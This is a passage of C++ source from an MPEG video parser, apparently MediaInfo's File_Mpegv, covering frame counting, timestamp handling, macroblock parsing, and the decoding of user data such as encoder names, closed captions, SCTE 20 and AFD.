(*Ancillary)->AfdBarData_Data[0]->Data, (*Ancillary)->AfdBarData_Data[0]->Size); //Removing data from stack delete (*Ancillary)->AfdBarData_Data[0]; //(*Ancillary)->AfdBarData_Data[0]=NULL; (*Ancillary)->AfdBarData_Data.erase((*Ancillary)->AfdBarData_Data.begin()); Element_Trace_End0(); } #endif //defined(MEDIAINFO_AFDBARDATA_YES) //Counting if (!MustExtendParsingDuration && File_Offset+Buffer_Offset+Element_Size==File_Size) Frame_Count_Valid=Frame_Count; //Finish frames in case of there are less than Frame_Count_Valid frames if (!TimeCodeIsNotTrustable && (picture_coding_type==1 || picture_coding_type==2)) //IFrame or PFrame { Time_End_Frames++; //One frame if (progressive_sequence && repeat_first_field) { Time_End_Frames++; //Frame repeated a second time if (top_field_first) Time_End_Frames++; //Frame repeated a third time } } Frame_Count++; Frame_Count_InThisBlock++; if (IFrame_IsParsed && Frame_Count_NotParsedIncluded!=(int64u)-1) Frame_Count_NotParsedIncluded++; if (!(progressive_sequence || picture_structure==3)) { Field_Count++; Field_Count_InThisBlock++; } if (picture_coding_type==3) BVOP_Count++; else BVOPsSinceLastRefFrames=0; if (RefFramesCount<2 && (picture_coding_type==1 || picture_coding_type==2)) RefFramesCount++; if (repeat_first_field) { if (progressive_sequence) { tc_ToAdd+=tc; if (top_field_first) tc_ToAdd+=tc; } else tc_ToAdd+=tc/2; } if (FrameInfo.DTS!=(int64u)-1) { FrameInfo.DTS+=tc_ToAdd; if (DTS_End<FrameInfo.DTS) DTS_End=FrameInfo.DTS; } if (FrameInfo.PTS!=(int64u)-1) { if (FrameInfo.PTS+tc_ToAdd>PTS_End || (PTS_End>1000000000 && FrameInfo.PTS+tc_ToAdd<=PTS_End-1000000000)) //More than current PTS_End or less than current PTS_End minus 1 second (there is a problem?) { PTS_End=FrameInfo.PTS+tc_ToAdd; PTS_End_temporal_reference=temporal_reference; } if (low_delay) FrameInfo.PTS+=tc_ToAdd; else FrameInfo.PTS=(int64u)-1; //With repeat_first_field option, it is impossible to know what is the next PTS } //NextCode if (!Status[IsAccepted]) { NextCode_Clear(); NextCode_Add(0x00); NextCode_Add(0xB3); NextCode_Add(0xB8); } //Autorisation of other streams #if MEDIAINFO_MACROBLOCKS if (!Macroblocks_Parse) #endif //MEDIAINFO_MACROBLOCKS for (int8u Pos=0x01; Pos<=0xAF; Pos++) Streams[Pos].Searching_Payload=false; //Filling only if not already done if (!Status[IsAccepted]) Accept("MPEG Video"); if (!MustExtendParsingDuration && IFrame_Count==8) Frame_Count_Valid=Frame_Count; //We have enough frames if (!Status[IsFilled] && Frame_Count>=Frame_Count_Valid) { Fill("MPEG Video"); if (File_Size==(int64u)-1) Finish("MPEG Video"); else if (!IsSub && 2*(File_Offset+Buffer_Size+SizeToAnalyse_End)<File_Size && Config->ParseSpeed<1.0) { Open_Buffer_Unsynch(); GoToFromEnd(SizeToAnalyse_End); } } //Skipping slices (if already unpacketized) #if MEDIAINFO_DEMUX if (Demux_UnpacketizeContainer && Buffer_TotalBytes+Buffer_Offset<Demux_TotalBytes #if MEDIAINFO_MACROBLOCKS && !Macroblocks_Parse #endif //MEDIAINFO_MACROBLOCKS ) { Element_Offset=Demux_TotalBytes-(Buffer_TotalBytes+Buffer_Offset); } #endif //MEDIAINFO_DEMUX #if MEDIAINFO_IBIUSAGE Ibi_SliceParsed=true; #endif //MEDIAINFO_IBIUSAGE #if MEDIAINFO_MACROBLOCKS if (Macroblocks_Parse) { macroblock_x++; Element_Info1(Ztring::ToZtring(macroblock_x)+__T(" macroblocks")); macroblock_x_PerFrame+=macroblock_x; macroblock_y_PerFrame++; } #endif //MEDIAINFO_MACROBLOCKS #if MEDIAINFO_ADVANCED || MEDIAINFO_EVENTS if (Slices_Count) return; Slices_Count++; //sequence_header if (picture_coding_type==1 && (!Has_sequence_header || !Has_sequence_extension)) { #if MEDIAINFO_ADVANCED if (!InitDataNotRepeated_Optional && !Has_sequence_header) //Currently we test only sequence_header { InitDataNotRepeated++; //Testing if we must give up if (Config_InitDataNotRepeated_GiveUp && InitDataNotRepeated>=Config_InitDataNotRepeated_Occurences) Config->ParseSpeed=0; // Give up } #endif // MEDIAINFO_ADVANCED } #endif // MEDIAINFO_ADVANCED || MEDIAINFO_EVENTS #if MEDIAINFO_ADVANCED || MEDIAINFO_EVENTS //Packets Has_sequence_header=false; Has_sequence_extension=false; #endif // MEDIAINFO_ADVANCED || MEDIAINFO_EVENTS FILLING_END(); } //--------------------------------------------------------------------------- // Packet Packet "01" --> "AF", slice_start, macroblock #if MEDIAINFO_MACROBLOCKS enum Mpegv_macroblock_type_config //bitwise { spatial_temporal_weight_code_flag =0x01, macroblock_intra =0x02, macroblock_pattern =0x04, macroblock_motion_backward =0x08, macroblock_motion_forward =0x10, macroblock_quant =0x20, }; void File_Mpegv::slice_start_macroblock() { frame_motion_type=(int8u)-1; spatial_temporal_weight_code=0; Element_Trace_Begin1("macroblock"); size_t macroblock_address_increment; do { Get_VL(macroblock_address_increment_Vlc, macroblock_address_increment, "macroblock_address_increment"); Element_Info1(__T("macroblock_address_increment=")+Ztring::ToZtring(Mpegv_macroblock_address_increment[macroblock_address_increment].mapped_to3)); if (macroblock_x!=(int64u)-1) macroblock_x+=Mpegv_macroblock_address_increment[macroblock_address_increment].mapped_to3; } while (Mpegv_macroblock_address_increment[macroblock_address_increment].mapped_to1==2); //Escape code if (macroblock_x==(int64u)-1) macroblock_x=0; Element_Info1(__T("macroblock_x=")+Ztring::ToZtring(macroblock_x)); Element_Trace_Begin1("macroblock_modes"); vlc_fast* macroblock_type_X; switch(picture_coding_type) { case 1: macroblock_type_X=&macroblock_type_I; break; case 2: macroblock_type_X=&macroblock_type_P; break; case 3: macroblock_type_X=&macroblock_type_B; break; default : Element_DoNotTrust("Wrong picture_coding_type"); Element_Trace_End0(); Element_Trace_End0(); return; } size_t macroblock_type_offset; Get_VL(*macroblock_type_X, macroblock_type_offset, "macroblock_type"); macroblock_type=macroblock_type_X->Vlc[macroblock_type_offset].mapped_to3; if (!Synched) { BS_End(); Element_Offset=Element_Size; return; } Element_Info1(__T("macroblock_quant=")+Ztring::ToZtring(macroblock_type&macroblock_quant)); Element_Info1(__T("macroblock_motion_forward=")+Ztring::ToZtring(macroblock_type&macroblock_motion_forward)); Element_Info1(__T("macroblock_motion_backward=")+Ztring::ToZtring(macroblock_type&macroblock_motion_backward)); Element_Info1(__T("macroblock_pattern=")+Ztring::ToZtring(macroblock_type&macroblock_pattern)); Element_Info1(__T("macroblock_intra=")+Ztring::ToZtring(macroblock_type&macroblock_intra)); Element_Info1(__T("spatial_temporal_weight_code_flag=")+Ztring::ToZtring(macroblock_type&spatial_temporal_weight_code_flag)); if (macroblock_type&spatial_temporal_weight_code_flag && spatial_temporal_weight_code_table_index) Get_S1 (2, spatial_temporal_weight_code, "spatial_temporal_weight_code"); if (macroblock_type&macroblock_intra && concealment_motion_vectors) frame_motion_type=2; if (macroblock_type&macroblock_motion_forward || macroblock_type&macroblock_motion_backward) { if (picture_structure==3) //Frame { if (!frame_pred_frame_dct) Get_S1(2, frame_motion_type, "frame_motion_type"); else frame_motion_type=2; } else Get_S1 (2, field_motion_type, "field_motion_type"); } if (picture_structure==3 //Frame && !frame_pred_frame_dct && (macroblock_type&macroblock_intra || macroblock_type&macroblock_pattern)) Skip_SB( "dct_type"); Element_Trace_End0(); if (macroblock_type&macroblock_quant) Skip_S1(5, "quantiser_scale_code"); if (macroblock_type&macroblock_motion_forward || (macroblock_type&macroblock_intra && concealment_motion_vectors)) slice_start_macroblock_motion_vectors(false); if (macroblock_type&macroblock_motion_backward) slice_start_macroblock_motion_vectors(true); if (macroblock_type&macroblock_intra && concealment_motion_vectors) Mark_1(); if (macroblock_type&macroblock_pattern) slice_start_macroblock_coded_block_pattern(); for (int8u i=0; i<block_count; i++) slice_start_macroblock_block(i); Element_Trace_End0(); } #endif //MEDIAINFO_MACROBLOCKS //--------------------------------------------------------------------------- // Packet Packet "01" --> "AF", slice_start, macroblock, motion_vectors #if MEDIAINFO_MACROBLOCKS void File_Mpegv::slice_start_macroblock_motion_vectors(bool s) { Element_Trace_Begin1("motion_vectors"); int8u motion_vector_count; switch (frame_motion_type) { case 1 : switch (spatial_temporal_weight_code) { case 0 : case 1 : motion_vector_count=2; break; case 2 : case 3 : motion_vector_count=1; break; default: Trusted_IsNot("spatial_temporal_weight_code problem"); Element_Trace_End0(); return; } break; case 2 : motion_vector_count=1; break; case 3 : switch (spatial_temporal_weight_code) { case 1 : Trusted_IsNot("spatial_temporal_weight_code problem"); Element_Trace_End0(); return; default: motion_vector_count=1; break; } break; default : Trusted_IsNot("frame_motion_type problem"); Element_Trace_End0(); return; } if (motion_vector_count==1) { if (!(picture_structure==3 //Frame && frame_motion_type==2) //mv_format==Frame && frame_motion_type!=3) //dmv!=1 Skip_SB( "motion_vertical_field_select[0][s]"); slice_start_macroblock_motion_vectors_motion_vector(false, s); } else { Skip_SB( "motion_vertical_field_select[0][s]"); slice_start_macroblock_motion_vectors_motion_vector(false, s); Skip_SB( "motion_vertical_field_select[1][s]"); slice_start_macroblock_motion_vectors_motion_vector(true, s); } Element_Trace_End0(); } #endif //MEDIAINFO_MACROBLOCKS //--------------------------------------------------------------------------- // Packet Packet "01" --> "AF", slice_start, macroblock, motion_vectors, motion_vector #if MEDIAINFO_MACROBLOCKS void File_Mpegv::slice_start_macroblock_motion_vectors_motion_vector(bool r, bool s) { Element_Trace_Begin1("motion_vector"); size_t motion_code_; Get_VL(motion_code, motion_code_, "motion_code[r][s][0]"); Param_Info1(Mpegv_motion_code[motion_code_].mapped_to3); if (Mpegv_motion_code[motion_code_].mapped_to3) Skip_SB( "motion_code[r][s][0] sign"); if (f_code[s][0]>1 && Mpegv_motion_code[motion_code_].mapped_to3) Skip_S1(f_code[s][0]-1, "motion_residual[r][s][0]"); if (frame_motion_type==3) //dmv==1 { Info_VL(dmvector, dmvector_, "dmvector[0]"); Param_Info1(Mpegv_dmvector[dmvector_].mapped_to3); } Get_VL(motion_code, motion_code_, "motion_code[r][s][1]"); Param_Info1(Mpegv_motion_code[motion_code_].mapped_to3); if (Mpegv_motion_code[motion_code_].mapped_to3) Skip_SB( "motion_code[r][s][1] sign"); if (f_code[s][1]>1 && Mpegv_motion_code[motion_code_].mapped_to3) Skip_S1(f_code[s][1]-1, "motion_residual[r][s][1]"); if (frame_motion_type==3) //dmv==1 { Info_VL(dmvector, dmvector_, "dmvector[1]"); Param_Info1(Mpegv_dmvector[dmvector_].mapped_to3); } Element_Trace_End0(); } #endif //MEDIAINFO_MACROBLOCKS //--------------------------------------------------------------------------- // Packet Packet "01" --> "AF", slice_start, macroblock, coded_block_pattern #if MEDIAINFO_MACROBLOCKS void File_Mpegv::slice_start_macroblock_coded_block_pattern() { Element_Trace_Begin1("coded_block_pattern"); size_t coded_block_pattern_; Get_VL(coded_block_pattern, coded_block_pattern_, "coded_block_pattern_420"); cbp=Mpegv_coded_block_pattern[coded_block_pattern_].mapped_to3; switch (chroma_format) { case 2 : //4:2:2 { int8u coded_block_pattern_1; Get_S1 (2, coded_block_pattern_1, "coded_block_pattern_1"); cbp<<=2; cbp|=coded_block_pattern_1; } break; case 3 : //4:4:4 { int8u coded_block_pattern; Get_S1 (8, coded_block_pattern, "coded_block_pattern_1/2"); cbp<<=8; cbp|=coded_block_pattern; } break; default : ; } Element_Info1(Ztring::ToZtring((int16u)cbp, 2)); Element_Trace_End0(); } #endif //MEDIAINFO_MACROBLOCKS //--------------------------------------------------------------------------- // Packet Packet "01" --> "AF", slice_start, macroblock, block #if MEDIAINFO_MACROBLOCKS void File_Mpegv::slice_start_macroblock_block(int8u i) { //pattern_code if (!(macroblock_type&macroblock_intra) && !((macroblock_type&macroblock_pattern) && (cbp&(1<<(block_count-1-i))))) return; Element_Trace_Begin1("block"); Element_Info1(i); bool IsFirst; const vlc* Mpegv_dct_coefficients; vlc_fast* Mpegv_dct_coefficients2; if (macroblock_type&macroblock_intra) { IsFirst=false; Mpegv_dct_coefficients=intra_vlc_format?Mpegv_dct_coefficients_1:Mpegv_dct_coefficients_0; Mpegv_dct_coefficients2=&(intra_vlc_format?dct_coefficients_1:dct_coefficients_0); if (i<4) { size_t dct_dc_size_luminance_; Get_VL(dct_dc_size_luminance, dct_dc_size_luminance_, "dct_dc_size_luminance"); Param_Info1(Mpegv_dct_dc_size_luminance[dct_dc_size_luminance_].mapped_to3); if (Mpegv_dct_dc_size_luminance[dct_dc_size_luminance_].mapped_to3) Skip_S2(Mpegv_dct_dc_size_luminance[dct_dc_size_luminance_].mapped_to3, "dct_dc_differential"); } else { size_t dct_dc_size_chrominance_; Get_VL(dct_dc_size_chrominance, dct_dc_size_chrominance_, "dct_dc_size_chrominance"); Param_Info1(Mpegv_dct_dc_size_chrominance[dct_dc_size_chrominance_].mapped_to3); if (Mpegv_dct_dc_size_chrominance[dct_dc_size_chrominance_].mapped_to3) Skip_S2((int8u)dct_dc_size_chrominance_, "dct_dc_differential"); } } else { IsFirst=true; Mpegv_dct_coefficients=Mpegv_dct_coefficients_0; Mpegv_dct_coefficients2=&dct_coefficients_0; } for (;;) { Element_Trace_Begin1("dct_coefficient"); size_t dct_coefficient; Get_VL(*Mpegv_dct_coefficients2, dct_coefficient, "dct_coefficient"); switch (Mpegv_dct_coefficients[dct_coefficient].mapped_to1) { case 1 : Element_Trace_End1("End of block"); Element_Trace_End0(); return; case 2 : #if MEDIAINFO_TRACE if (Trace_Activated) { Info_S1( 6, Run, "Run"); Element_Info1(Run); Info_S2(12, Level, "Level"); Element_Info1(Level-(Level>0x800?4096:0)); } else #endif //MEDIAINFO_MACROBLOCKS Skip_S3(18, "Run + Level"); break; case 3 : if (!IsFirst) { if (Mpegv_dct_coefficients[dct_coefficient].bit_increment) { Element_Trace_End1("End of block"); Element_Trace_End0(); return; } Skip_SB( "dct_coefficient sign"); } default: Element_Info1(Mpegv_dct_coefficients[dct_coefficient].mapped_to2); Element_Info1(Mpegv_dct_coefficients[dct_coefficient].mapped_to3); } if (IsFirst) IsFirst=false; Element_Trace_End0(); } } #endif //MEDIAINFO_MACROBLOCKS //--------------------------------------------------------------------------- // Packet "B2" void File_Mpegv::user_data_start() { Element_Name("user_data_start"); //GA94 stuff if (Element_Size>=4) { int32u GA94_Identifier; Peek_B4(GA94_Identifier); switch (GA94_Identifier) { case 0x434301F8 : user_data_start_CC(); return; case 0x44544731 : user_data_start_DTG1(); return; case 0x47413934 : user_data_start_GA94(); return; default : { int8u SCTE20_Identifier; Peek_B1(SCTE20_Identifier); if (SCTE20_Identifier==0x03) { user_data_start_3(); return; } } } } //Rejecting junk at the begin size_t Library_Start_Offset=0; while (Library_Start_Offset+4<=Element_Size) { bool OK=true; for (size_t Pos=0; Pos<4; Pos++) { if (!((Buffer[Buffer_Offset+Library_Start_Offset+Pos]==0x20 && Pos) || Buffer[Buffer_Offset+Library_Start_Offset+Pos]==0x22 || Buffer[Buffer_Offset+Library_Start_Offset+Pos]==0x27 || Buffer[Buffer_Offset+Library_Start_Offset+Pos]==0x28 || (Buffer[Buffer_Offset+Library_Start_Offset+Pos]==0x29 && Pos) || (Buffer[Buffer_Offset+Library_Start_Offset+Pos]>=0x30 && Buffer[Buffer_Offset+Library_Start_Offset+Pos]<=0x3F) || (Buffer[Buffer_Offset+Library_Start_Offset+Pos]>=0x41 && Buffer[Buffer_Offset+Library_Start_Offset+Pos]<=0x7D))) { OK=false; break; } } if (OK) break; Library_Start_Offset++; } if (Library_Start_Offset+4>Element_Size) { Skip_XX(Element_Size, "junk"); return; //No good info } //Accepting good data after junk size_t Library_End_Offset=Library_Start_Offset+4; while (Library_End_Offset<Element_Size && (Buffer[Buffer_Offset+Library_End_Offset]==0x0D || Buffer[Buffer_Offset+Library_End_Offset]==0x0A || (Buffer[Buffer_Offset+Library_End_Offset]>=0x20 && Buffer[Buffer_Offset+Library_End_Offset]<=0x3F) || (Buffer[Buffer_Offset+Library_End_Offset]>=0x41 && Buffer[Buffer_Offset+Library_End_Offset]<=0x7D))) Library_End_Offset++; //Parsing Ztring Temp; if (Library_Start_Offset>0) Skip_XX(Library_Start_Offset, "junk"); if (Library_End_Offset-Library_Start_Offset) Get_Local(Library_End_Offset-Library_Start_Offset, Temp,"data"); if (Element_Offset<Element_Size) Skip_XX(Element_Size-Element_Offset, "junk"); //Cleanup while(Temp.size()>3 && Temp[1]==__T('e') && Temp[2]==__T('n') && Temp[3]==__T('c')) Temp.erase(0, 1); while(Temp.size()>5 && Temp[3]==__T('M') && Temp[4]==__T('P') && Temp[5]==__T('E')) Temp.erase(0, 1); //Cleanup while(!Temp.empty() && Temp[0]==__T('0')) Temp.erase(0, 1); FILLING_BEGIN(); if (!Temp.empty()) { if (Temp.find(__T("build"))==0) Library+=Ztring(__T(" "))+Temp; else Library=Temp; //Library if (Temp.find(__T("Created with Nero"))==0) { Library_Name=__T("Ahead Nero"); } else if (Library.find(__T("encoded by avi2mpg1 ver "))==0) { Library_Name=__T("avi2mpg1"); Library_Version=Library.SubString(__T("encoded by avi2mpg1 ver "), __T("")); } else if (Library.find(__T("encoded by TMPGEnc (ver. "))==0) { Library_Name=__T("TMPGEnc"); Library_Version=Library.SubString(__T("encoded by TMPGEnc (ver. "), __T(")")); } else if (Library.find(__T("encoded by TMPGEnc 4.0 XPress Version. "))==0) { Library_Name=__T("TMPGEnc XPress"); Library_Version=Library.SubString(__T("encoded by TMPGEnc 4.0 XPress Version. "), __T("")); } else if (Library.find(__T("encoded by TMPGEnc MPEG Editor "))==0) { Library_Name=__T("TMPGEnc MPEG Editor"); Library_Version=Library.SubString(__T("Version. "), __T("")); } else if (Library.find(__T("encoded by TMPGEnc "))==0) { Library_Name=__T("TMPGEnc"); Library_Version=Library.SubString(__T("encoded by TMPGEnc "), __T("")); } else if (Library.find(__T("MPEG Encoder v"))==0) { Library_Name=__T("MPEG Encoder by Tristan Savatier"); Library_Version=Library.SubString(__T("MPEG Encoder v"), __T(" by")); } else Library_Name=Library; } FILLING_END(); } //--------------------------------------------------------------------------- // Packet "B2", CC (From DVD) void File_Mpegv::user_data_start_CC() { Skip_B4( "identifier"); #if defined(MEDIAINFO_DTVCCTRANSPORT_YES) Element_Info1("DVD Captions"); //Parsing #if MEDIAINFO_DEMUX Element_Code=0x434301F800000000LL; #endif //MEDIAINFO_DEMUX if (CC___Parser==NULL) { CC___IsPresent=true; MustExtendParsingDuration=true; Buffer_TotalBytes_Fill_Max=(int64u)-1; //Disabling this feature for this format, this is done in the parser CC___Parser=new File_DtvccTransport; Open_Buffer_Init(CC___Parser); ((File_DtvccTransport*)CC___Parser)->Format=File_DtvccTransport::Format_DVD; } if (CC___Parser->PTS_DTS_Needed) { CC___Parser->FrameInfo.PCR=FrameInfo.PCR; CC___Parser->FrameInfo.PTS=FrameInfo.PTS; CC___Parser->FrameInfo.DTS=FrameInfo.DTS; } #if MEDIAINFO_DEMUX int8u Demux_Level_Save=Demux_Level; Demux_Level=8; //Ancillary Demux(Buffer+Buffer_Offset+(size_t)Element_Offset, (size_t)(Element_Size-Element_Offset), ContentType_MainStream); Demux_Level=Demux_Level_Save; #endif // MEDIAINFO_DEMUX Open_Buffer_Continue(CC___Parser, Buffer+Buffer_Offset+(size_t)Element_Offset, (size_t)(Element_Size-Element_Offset)); Element_Offset=Element_Size; #else //defined(MEDIAINFO_DTVCCTRANSPORT_YES) Skip_XX(Element_Size-Element_Offset, "DVD Captions"); #endif //defined(MEDIAINFO_DTVCCTRANSPORT_YES) } //--------------------------------------------------------------------------- // Packet "B2", 0x03 (SCTE20) void File_Mpegv::user_data_start_3() { Skip_B1( "identifier"); #if defined(MEDIAINFO_SCTE20_YES) Scte_IsPresent=true; MustExtendParsingDuration=true; Buffer_TotalBytes_Fill_Max=(int64u)-1; //Disabling this feature for this format, this is done in the parser Element_Info1("SCTE 20"); //Coherency if (TemporalReference_Offset+temporal_reference>=TemporalReference.size()) return; //Purging too old orphelins if (Scte_TemporalReference_Offset+8<TemporalReference_Offset+temporal_reference) { size_t Pos=TemporalReference_Offset+temporal_reference; do { if (TemporalReference[Pos]==NULL || !TemporalReference[Pos]->IsValid || TemporalReference[Pos]->Scte.empty()) break; Pos--; } while (Pos>0); Scte_TemporalReference_Offset=Pos+1; } if (TemporalReference_Offset+temporal_reference>=TemporalReference.size()) TemporalReference.resize(TemporalReference_Offset+temporal_reference+1); if (TemporalReference[TemporalReference_Offset+temporal_reference]==NULL) TemporalReference[TemporalReference_Offset+temporal_reference]=new temporalreference; temporalreference::buffer_data* BufferData=new temporalreference::buffer_data; BufferData->Size=(size_t)(Element_Size-Element_Offset); BufferData->Data=new int8u[(size_t)(Element_Size-Element_Offset)]; std::memcpy(BufferData->Data, Buffer+Buffer_Offset+(size_t)Element_Offset, (size_t)(Element_Size-Element_Offset)); TemporalReference[TemporalReference_Offset+temporal_reference]->Scte.push_back(BufferData); TemporalReference[TemporalReference_Offset+temporal_reference]->Scte_Parsed.push_back(false); if (TemporalReference[TemporalReference_Offset+temporal_reference]->Scte_Parsed.size()>=2 && TemporalReference[TemporalReference_Offset+temporal_reference]->Scte_Parsed[TemporalReference[TemporalReference_Offset+temporal_reference]->Scte_Parsed.size()-2] && Scte_TemporalReference_Offset==TemporalReference_Offset+temporal_reference+1) Scte_TemporalReference_Offset--; //Parsing Skip_XX(Element_Size-Element_Offset, "SCTE 20 data"); //Parsing Captions after reordering bool CanBeParsed=true; size_t FirstSize=(size_t)-1; for (size_t Scte20_Pos=Scte_TemporalReference_Offset; Scte20_Pos<TemporalReference.size(); Scte20_Pos++) { if (TemporalReference[Scte20_Pos]==NULL || !TemporalReference[Scte20_Pos]->IsValid || TemporalReference[Scte20_Pos]->Scte.empty()) CanBeParsed=false; //There is a missing field/frame if (CanBeParsed) { if (FirstSize==(size_t)-1) FirstSize=TemporalReference[Scte20_Pos]->Scte.size(); else if (!progressive_sequence && !TemporalReference[Scte20_Pos]->progressive_frame && TemporalReference[Scte20_Pos]->picture_structure==3 && TemporalReference[Scte20_Pos]->Scte.size()!=FirstSize) CanBeParsed=false; //There is a missing field in a frame duo } } if (CanBeParsed) { for (size_t Scte20_Pos=Scte_TemporalReference_Offset; Scte20_Pos<TemporalReference.size(); Scte20_Pos++) { Element_Begin1("Reordered SCTE 20"); //Parsing #if MEDIAINFO_DEMUX Element_Code=0x0000000300000000LL; #endif //MEDIAINFO_DEMUX if (Scte_Parser==NULL) { Scte_Parser=new File_Scte20; Open_Buffer_Init(Scte_Parser); } //((File_Scte20*)Scte_Parser)->AspectRatio=MPEG_Version==1?Mpegv_aspect_ratio1[aspect_ratio_information]:Mpegv_aspect_ratio2[aspect_ratio_information]; ((File_Scte20*)Scte_Parser)->picture_structure=TemporalReference[Scte20_Pos]->picture_structure; ((File_Scte20*)Scte_Parser)->progressive_sequence=progressive_sequence; ((File_Scte20*)Scte_Parser)->progressive_frame=TemporalReference[Scte20_Pos]->progressive_frame; ((File_Scte20*)Scte_Parser)->top_field_first=TemporalReference[Scte20_Pos]->top_field_first; ((File_Scte20*)Scte_Parser)->repeat_first_field=TemporalReference[Scte20_Pos]->repeat_first_field; for (size_t Pos=0; Pos<TemporalReference[Scte20_Pos]->Scte.size(); Pos++) if (!TemporalReference[Scte20_Pos]->Scte_Parsed[Pos]) { if (Scte_Parser->PTS_DTS_Needed) { Scte_Parser->FrameInfo.PCR=FrameInfo.PCR; Scte_Parser->FrameInfo.PTS=FrameInfo.PTS-(TemporalReference.size()-1-Scte20_Pos)*tc; Scte_Parser->FrameInfo.DTS=FrameInfo.DTS-(TemporalReference.size()-1-Scte20_Pos)*tc; } #if MEDIAINFO_DEMUX int8u Demux_Level_Save=Demux_Level; Demux_Level=8; //Ancillary Demux(TemporalReference[Scte20_Pos]->Scte[Pos]->Data, TemporalReference[Scte20_Pos]->Scte[Pos]->Size, ContentType_MainStream); Demux_Level=Demux_Level_Save; #endif // MEDIAINFO_DEMUX Open_Buffer_Continue(Scte_Parser, TemporalReference[Scte20_Pos]->Scte[Pos]->Data, TemporalReference[Scte20_Pos]->Scte[Pos]->Size); TemporalReference[Scte20_Pos]->Scte_Parsed[Pos]=true; } Element_End0(); } Scte_TemporalReference_Offset=TemporalReference.size(); } #else //defined(MEDIAINFO_SCTE20_YES) Skip_XX(Element_Size-Element_Offset, "SCTE 20 data"); #endif //defined(MEDIAINFO_SCTE20_YES) } //--------------------------------------------------------------------------- // Packet "B2", DTG1 void File_Mpegv::user_data_start_DTG1() { Skip_B4( "identifier"); #if defined(MEDIAINFO_AFDBARDATA_YES) Element_Info1("Active Format Description"); //Parsing if (DTG1_Parser==NULL) { DTG1_Parser=new File_AfdBarData; Open_Buffer_Init(DTG1_Parser); ((File_AfdBarData*)DTG1_Parser)->Format=File_AfdBarData::Format_A53_4_DTG1; //Aspect ratio for AFD float32 DAR=0; if (MPEG_Version==2) { if (aspect_ratio_information==0) ; //Forbidden else if (aspect_ratio_information==1) DAR=((float32)(0x1000*horizontal_size_extension+horizontal_size_value))/(0x1000*vertical_size_extension+vertical_size_value); else if (display_horizontal_size && display_vertical_size) { if (vertical_size_value && Mpegv_aspect_ratio2[aspect_ratio_information]) DAR=((float32)(0x1000*horizontal_size_extension+horizontal_size_value))/(0x1000*vertical_size_extension+vertical_size_value) *Mpegv_aspect_ratio2[aspect_ratio_information]/((float32)display_horizontal_size/display_vertical_size); } else if (Mpegv_aspect_ratio2[aspect_ratio_information]) DAR=Mpegv_aspect_ratio2[aspect_ratio_information]; } else //Version 1 { if (vertical_size_value && Mpegv_aspect_ratio1[aspect_ratio_information]) DAR=((float32)(0x1000*horizontal_size_extension+horizontal_size_value))/(0x1000*vertical_size_extension+vertical_size_value)/Mpegv_aspect_ratio1[aspect_ratio_information]; } if (DAR>=1.330 && DAR<1.336) ((File_AfdBarData*)DTG1_Parser)->aspect_ratio_FromContainer=0; //4/3 if (DAR>=1.774 && DAR<1.780) ((File_AfdBarData*)DTG1_Parser)->aspect_ratio_FromContainer=1; //16/9 } if (DTG1_Parser->PTS_DTS_Needed) { DTG1_Parser->FrameInfo.PCR=FrameInfo.PCR; DTG1_Parser->FrameInfo.PTS=FrameInfo.PTS; DTG1_Parser->FrameInfo.DTS=FrameInfo.DTS; } Open_Buffer_Continue(DTG1_Parser, Buffer+Buffer_Offset+(size_t)Element_Offset, (size_t)(Element_Size-Element_Offset)); Element_Offset=Element_Size; #else //defined(MEDIAINFO_AFDBARDATA_YES) Skip_XX(Element_Size-Element_Offset, "Active Format Description"); #endif //defined(MEDIAINFO_AFDBARDATA_YES) } //--------------------------------------------------------------------------- // Packet "B2", GA94 void File_Mpegv::user_data_start_GA94() { //Parsing int8u user_data_type_code; Skip_B4( "GA94_identifier"); Get_B1 (user_data_type_code, "user_data_type_code"); switch (user_data_type_code) { case 0x03 : user_data_start_GA94_03(); break; case 0x06 : user_data_start_GA94_06(); break; default : Skip_XX(Element_Size-Element_Offset, "GA94_reserved_user_data"); } } //--------------------------------------------------------------------------- // Packet "B2", GA94 0x03 (styled captioning) void File_Mpegv::user_data_start_GA94_03() { #if defined(MEDIAINFO_DTVCCTRANSPORT_YES) GA94_03_IsPresent=true; MustExtendParsingDuration=true; Buffer_TotalBytes_Fill_Max=(int64u)-1; //Disabling this feature for this format, this is done in the parser Element_Info1("DTVCC Transport"); //Coherency if (TemporalReference_Offset+temporal_reference>=TemporalReference.size()) return; //Purging too old orphelins if (GA94_03_TemporalReference_Offset+8<TemporalReference_Offset+temporal_reference) { size_t Pos=TemporalReference_Offset+temporal_reference; do { if (TemporalReference[Pos]==NULL || !TemporalReference[Pos]->IsValid || TemporalReference[Pos]->GA94_03==NULL) break; Pos--; } while (Pos>0); GA94_03_TemporalReference_Offset=Pos+1; } if (TemporalReference_Offset+temporal_reference>=TemporalReference.size()) TemporalReference.resize(TemporalReference_Offset+temporal_reference+1); temporalreference* &Ref=TemporalReference[TemporalReference_Offset+temporal_reference]; if (Ref==NULL) Ref=new temporalreference; if (Ref->GA94_03==NULL) Ref->GA94_03=new temporalreference::buffer_data; temporalreference::buffer_data* NewBuffer=Ref->GA94_03; int8u* NewData=new int8u[NewBuffer->Size+(size_t)(Element_Size-Element_Offset)]; if (NewBuffer->Size) { //Data already present, copying in the new buffer std::memcpy(NewData, NewBuffer->Data, NewBuffer->Size); delete[] NewBuffer->Data; //Reassignement done below } NewBuffer->Data=NewData; std::memcpy(NewBuffer->Data+ NewBuffer->Size, Buffer+Buffer_Offset+(size_t)Element_Offset, (size_t)(Element_Size-Element_Offset)); NewBuffer->Size+=(size_t)(Element_Size-Element_Offset); //Parsing Skip_XX(Element_Size-Element_Offset, "CC data"); //Parsing Captions after reordering bool CanBeParsed=true; for (size_t GA94_03_Pos=GA94_03_TemporalReference_Offset; GA94_03_Pos<TemporalReference.size(); GA94_03_Pos++) if (TemporalReference[GA94_03_Pos]==NULL || !TemporalReference[GA94_03_Pos]->IsValid || TemporalReference[GA94_03_Pos]->GA94_03==NULL) CanBeParsed=false; //There is a missing field/frame if (CanBeParsed) { for (size_t GA94_03_Pos=GA94_03_TemporalReference_Offset; GA94_03_Pos<TemporalReference.size(); GA94_03_Pos++) { Element_Begin1("Reordered DTVCC Transport"); //Parsing #if MEDIAINFO_DEMUX Element_Code=0x4741393400000003LL; #endif //MEDIAINFO_DEMUX if (GA94_03_Parser==NULL) { GA94_03_Parser=new File_DtvccTransport; Open_Buffer_Init(GA94_03_Parser); ((File_DtvccTransport*)GA94_03_Parser)->Format=File_DtvccTransport::Format_A53_4_GA94_03; } if (GA94_03_Parser->PTS_DTS_Needed) { GA94_03_Parser->FrameInfo.PCR=FrameInfo.PCR; 